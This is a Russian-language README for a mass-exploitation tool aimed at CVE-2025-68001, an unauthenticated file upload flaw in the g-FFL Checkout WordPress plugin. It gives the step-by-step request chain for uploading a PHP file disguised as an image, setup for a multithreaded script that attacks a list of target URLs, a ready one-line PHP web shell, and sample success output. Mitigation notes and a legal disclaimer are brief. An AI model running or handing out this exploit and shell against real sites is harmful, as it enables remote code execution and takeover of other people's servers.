
Плагин WordPress g-FFL Checkout Plugin версии <= 2.1.0 уязвим к произвольной загрузке файлов с высоким приоритетом.
WordPress плагин g-FFL Checkout <= 2.1.0 уязвим к загрузке произвольных файлов с высоким приоритетом
_ _ _ _ _ _ _ _ _ _
/ \ / |_ __ ) / \ ) |_ __ |_ (_) / \ / \ /|
\_ \/ |_ /_ \_/ /_ _) |_) (_) \_/ \_/ |
📡 Опережайте события. Присоединяйтесь к @KNxploited в Telegram — ваш эксклюзивный источник последних CVE, zero-day и передовых исследований эксплойтов. Обновляется постоянно. Не для всех.
CVE-2025-68001 — это критическая уязвимость Неаутентифицированная загрузка произвольных файлов, обнаруженная в плагине g-FFL Checkout для WordPress от garidium.
Уязвимость позволяет неаутентифицированному удаленному злоумышленнику загружать произвольные файлы, включая веб-шеллы, на целевой сервер через AJAX-действие ffl_upload_document, что приводит к полному удаленному выполнению кода (RCE).
| Поле | Подробности |
|---|---|
| CVE ID | CVE-2025-68001 |
| Плагин | g-FFL Checkout (g-ffl-checkout) |
| Затронутые версии | n/a до <= 2.1.0 |
| Тип уязвимости | Неограниченная загрузка файлов |
| Воздействие | Удаленное выполнение кода (RCE) |
| Аутентификация | Не требуется |
| Серьезность CVSS | Критический |
| Исследователь | Nxploited |
Эксплойт следует точной многошаговой цепочке атак:
1. GET /checkout
↓
Извлечение `checkout_nonce` из встроенного JavaScript
2. POST /wp-admin/admin-ajax.php
action=ffl_upload_document
nonce=<извлеченный_nonce>
document_type=document
document=<shell.php, замаскированный под image/png>
↓
Сервер сохраняет файл без проверки расширения или MIME
3. Разбор JSON-ответа
↓
Извлечение пути загруженного файла / уникального имени
4. Доступ к загруженному шеллу через HTTP
↓
Удаленное выполнение кода достигнуто ✔️
Плагин предоставляет AJAX-эндпоинт ffl_upload_document, который:
Установите все зависимости перед запуском:
pip install requests rich
| Зависимость | Назначение |
|---|---|
requests | HTTP-запросы и управление сессией |
rich | Терминальный UI, индикаторы, панели |
threading | Многопоточная обработка целей |
Требуется Python 3.8+.
CVE-2025-68001/
├── CVE-2025-68001.py # Основной скрипт эксплойта
├── shell.php # Веб-шелл для загрузки (вы предоставляете)
├── list.txt # URL-адреса целей (по одному на строку)
└── success_results.txt # Автоматически создаваемый файл с результатами
Создайте файл list.txt с одним URL цели на строку:
https://target1.com
https://target2.com
http://target3.com/wordpress
Скрипт автоматически добавляет
http://, если схема не указана.
Поместите ваш PHP веб-шелл в ту же директорию. Пример минимального шелла:
<?php system($_GET['cmd']); ?>
Сохраните его как shell.php (или любое другое имя — вам будет предложено его ввести).
python CVE-2025-68001.py
Вас встретят интерактивные запросы:
Enter targets file name (default: list.txt):
> list.txt
Enter shell file name to upload (default: shell.php):
> shell.php
Enter number of threads (default: 50):
> 20
Успешные эксплойты автоматически сохраняются в success_results.txt:
https://target.com | /wp-content/uploads/ffl/abc123.php | abc123.php | shell.php
Каждая строка содержит:
| Запрос | По умолчанию | Описание |
|---|---|---|
| Файл с целями | list.txt | Файл, содержащий URL целей |
| Файл шелла | shell.php | PHP-шелл для загрузки на цель |
| Количество потоков | 50 | Параллельные рабочие (макс: 50) |
✔ https://victim.com — /checkout reachable. Trying exploit...
┌─────────────────────────────────────────────────────┐
│ Success │
│ https://victim.com │
│ Original Name: shell.php │
│ Unique Name: a7f3c1d9e.php │
│ Stored Path: /wp-content/uploads/ffl/a7f3c1.php │
└─────────────────────────────────────────────────────┘
All targets processed ✔️. Results saved to: success_results.txt
Уязвимость находится в обработчике AJAX плагина, зарегистрированном без проверки прав:
// Нет проверки аутентификации или прав
add_action('wp_ajax_nopriv_ffl_upload_document', 'ffl_upload_document');
function ffl_upload_document() {
// Nonce проверяется со страницы /checkout (общедоступна)
// Нет проверки MIME-типа
// Нет белого/черного списка расширений
move_uploaded_file($_FILES['document']['tmp_name'], $upload_path);
wp_send_json_success(['file_path' => $upload_path]);
}
Если вы владелец сайта или разработчик, немедленно выполните следующие действия:
g-ffl-checkout до исправленной версии (> 2.1.0), если она доступна.htaccess).php файлыДАННЫЙ ИНСТРУМЕНТ ПРЕДОСТАВЛЯЕТСЯ ИСКЛЮЧИТЕЛЬНО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ
И АВТОРИЗОВАННЫХ ИССЛЕДОВАНИЙ БЕЗОПАСНОСТИ.
Используя этот скрипт, вы явно соглашаетесь со следующим:
• У вас есть ЯВНОЕ письменное разрешение от владельца целевой системы.
• Вы работаете в контролируемой лаборатории или в рамках авторизованного
пентеста.
• Вы НЕ будете использовать этот инструмент против любой системы, которой
вы не владеете или не имеете законного разрешения на тестирование.
• Автор (Nxploited) НЕ несет НИКАКОЙ ответственности за любой ущерб,
потерю данных, юридические последствия или неправомерное использование
данного инструмента.
Несанкционированное использование этого инструмента против систем без
разрешения ЯВЛЯЕТСЯ НЕЗАКОННЫМ и может нарушать законы, включая, но не
ограничиваясь:
— Закон о компьютерном мошенничестве и злоупотреблениях (CFAA)
— Директиву ЕС об атаках на информационные системы
— И аналогичные законы в вашей юрисдикции.
ИСПОЛЬЗУЙТЕ ОТВЕТСТВЕННО. ХАКАЙТЕ ЭТИЧНО.
| Псевдоним | Nxploited |
| Telegram | @KNxploited |
| GitHub | github.com/Nxploited |
🔔 Подпишитесь на @KNxploited в Telegram чтобы получать последние раскрытия уязвимостей, релизы эксплойтов и исследования безопасности — раньше всех.